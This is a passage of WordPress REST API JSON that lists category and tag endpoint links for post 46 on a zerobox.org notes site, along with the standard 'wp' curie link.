ox.org\/notes\/wp-json\/wp\/v2\/categories?post=46"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/tags?post=46"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}